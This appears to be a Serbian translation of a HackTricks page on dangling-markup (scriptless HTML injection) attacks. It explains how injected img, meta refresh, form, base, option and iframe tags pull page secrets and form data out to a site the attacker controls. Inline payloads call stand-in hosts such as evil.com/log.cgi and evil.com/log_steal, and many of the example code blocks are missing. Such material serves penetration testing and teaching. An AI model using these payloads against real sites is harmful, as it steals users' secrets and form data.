Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se pronađe HTML injekcija. Ovo je veoma korisno ako ne pronađete način da iskoristite XSS ali možete ubaciti neke HTML tagove. Takođe je korisno ako je neka tajna sačuvana u čistom tekstu u HTML-u i želite da je izvučete od klijenta, ili ako želite da obmanete neku izvršavanje skripte.
Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih Content Security Policy eksfiltracijom informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Ako ubacite <img src='http://evil.com/log.cgi?
kada se stranica učita, žrtva će vam poslati sav kod između ubačenog img
taga i sledeće navodnike unutar koda. Ako se neka tajna nekako nalazi u tom delu, ukrasti ćete je (možete uraditi istu stvar koristeći dvostruke navodnike, pogledajte šta bi moglo biti zanimljivije za korišćenje).
Ako je img
tag zabranjen (zbog CSP-a na primer) možete takođe koristiti <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Napomena da Chrome blokira HTTP URL-ove sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima kao što je "ftp".
Takođe možete zloupotrebiti CSS @import
(će poslati sav kod dok ne pronađe ";")
Možete takođe koristiti <table
:
Možete takođe umetnuti <base
tag. Sve informacije će biti poslate dok se citat ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će <base
tag promeniti domen na koji link upućuje):
Zatim, forme koje šalju podatke na putanju (kao što je <form action='update_profile.php'>
) će slati podatke na zloćudnu domenu.
Postavite zaglavlje forme: <form action='http://evil.com/log_steal'>
ovo će prepisati sledeće zaglavlje forme i svi podaci iz forme će biti poslati napadaču.
Dugme može promeniti URL na koji će informacije iz forme biti poslate sa atributom "formaction":
Napadač može koristiti ovo da ukrade informacije.
Pronađite primer ovog napada u ovom izveštaju.
Koristeći najnoviju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
и ово поље за унос ће садржати сав садржај између његових двоструких наводника и следећих двоструких наводника у HTML-у. Овај напад комбинује "Krađa tajnih podataka u čistom tekstu" са "Krađa formi2".
Можете урадити исту ствар инјектовањем форме и <option>
тагом. Сви подаци до затвореног </option>
ће бити послати:
Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti neočekivana radnja:
<noscript></noscript>
Je oznaka čiji sadržaj će biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/onemogućiti Javascript u Chrome-u na chrome://settings/content/javascript).
Način da se exfiltrira sadržaj web stranice od tačke injekcije do dna na sajt koji kontroliše napadač biće injektovanje ovog:
Iz ovog portswiggers istraživanja možete saznati da čak i iz najviše CSP ograničenih okruženja možete još uvek izvući podatke uz malo interakcije korisnika. U ovoj prilici ćemo koristiti payload:
Napomena da ćete tražiti od žrtve da klikne na link koji će ga preusmeriti na payload koji kontrolišete. Takođe, napomena da će target
atribut unutar base
taga sadržati HTML sadržaj do sledeće jednostavne navodnike.
To će učiniti da će vrednost window.name
ako se link klikne biti sav taj HTML sadržaj. Stoga, pošto kontrolišete stranicu na kojoj žrtva pristupa klikom na link, možete pristupiti tom window.name
i ekstraktovati te podatke:
Umetnite novu oznaku sa id unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacija deliti:
Kreirajte promenljive unutar javascript prostora imena umetajući HTML tagove. Tada će ova promenljiva uticati na tok aplikacije:
Ako pronađete JSONP interfejs, mogli biste biti u mogućnosti da pozovete proizvoljnu funkciju sa proizvoljnim podacima:
Ili možete čak pokušati da izvršite neki javascript:
Dečiji dokument ima mogućnost da pregleda i menja location
svojstvo svog roditelja, čak i u situacijama sa različitim poreklima. To omogućava umetanje skripte unutar iframe koja može preusmeriti klijenta na proizvoljnu stranicu:
Ovo se može ublažiti nečim poput: sandbox=' allow-scripts allow-top-navigation'
Iframe se takođe može zloupotrebiti da bi se iscurile osetljive informacije sa druge stranice koristeći atribut imena iframe-a. To je zato što možete kreirati iframe koji se sam iframe-uje zloupotrebljavajući HTML injekciju koja čini da osetljive informacije izgledaju unutar atributa imena iframe-a i zatim pristupiti tom imenu iz inicijalnog iframe-a i iscuriti ga.
Za više informacija proverite https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Možete koristiti meta http-equiv
za izvršavanje several actions kao što je postavljanje kolačića: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ili izvršavanje preusmeravanja (u 5s u ovom slučaju): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Ovo se može izbeći sa CSP u vezi sa http-equiv ( Content-Security-Policy: default-src 'self';
, ili Content-Security-Policy: http-equiv 'self';
)
Možete pronaći veoma zanimljivo istraživanje o iskoristivim ranjivostima <portal taga ovde.
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u chrome://flags/#enable-portals
ili neće raditi.
Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Ovo je mešavina između dangling markup i XS-Leaks. S jedne strane, ranjivost omogućava injekciju HTML-a (ali ne JS) na stranicu iste domene kao one koju ćemo napadati. S druge strane, nećemo napadati direktno stranicu na kojoj možemo injektovati HTML, već druguu stranicu.
XS-Search su orijentisane na ekstrakciju informacija iz različitih domena zloupotrebom napada putem bočnih kanala. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su CSS Injection ili Lazy Load Images.
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)